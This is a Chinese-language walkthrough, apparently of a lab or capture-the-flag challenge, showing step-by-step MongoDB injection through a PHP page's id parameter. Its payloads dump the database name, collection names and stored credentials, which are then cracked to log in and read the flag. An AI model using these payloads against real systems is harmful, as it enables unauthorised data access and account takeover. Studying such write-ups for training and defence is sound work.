(1)如下给出的源码...可以看到数据库查询的语句如下..构造回显测试...、
# 查询语句
var data= db.notice.findOne({'id':'$id'});return data;
传⼊的数据是$id。注意到可以通过闭合 “({‘” 来构造payload 因为返回的数据是$obj[‘retva l’][‘title’]与$obj[‘retval’][‘content’],可以尝试return({title:’1’,conten t:’2’})来构造回显测试
# Payload
new_list.php?id=1'});return ({title:'1',content:'2
(2)成功显示“1”和“2”。可以在此来显示想要查询的数据。接下来开始尝试构造payload查询 当前数据库。通过回显观察到数据库为 mozhe_cms_Authority 其中tojson是可以把数据变成 json型数据,db为取当前数据库,即当前的数据库为 mozhe_cms_Authority
# Payload
new_list.php?id=1'});return({title:tojson(db),content:'2
(3)得到数据库名之后就可以尝试爆出数据库下的表名了且构造Payload...其中 db.getColl ectionNames() 返回⼀个包含当前数据库中所有集合名称的数组。
# Payload
new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),conten t:'2
(4)这样数据库的表名就被爆出来了,⼀共有三个表,分别为: Authority_confidentia l 、 notice 、 system_indexes 。最后我们就可以直接选取某个表爆出其中的数据了...
# Payload
new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()[ 0]),content:'2
# 注释
Payload中的“db.Authority_confidential.find()[0]” db代表当前数据库,Authority_c onfidential 代表当前所要查询的表,find()查询函数,返回查询的结果,[0]代表取索引为0的数 据。当然我们也可以将其改为1、2...直到查询不到数据为⽌。
(5)最终我们就可以获得数据了,将密码进⾏MD5解密,返回登录⻚进⾏登录,划倒⻚⾯最下 端就可以看到KEY了。如果第⼀个⽤户账号密码登录不了,我们就改变查询的索引“find()[1]”查询 其他的⽤户账号密码登录即可..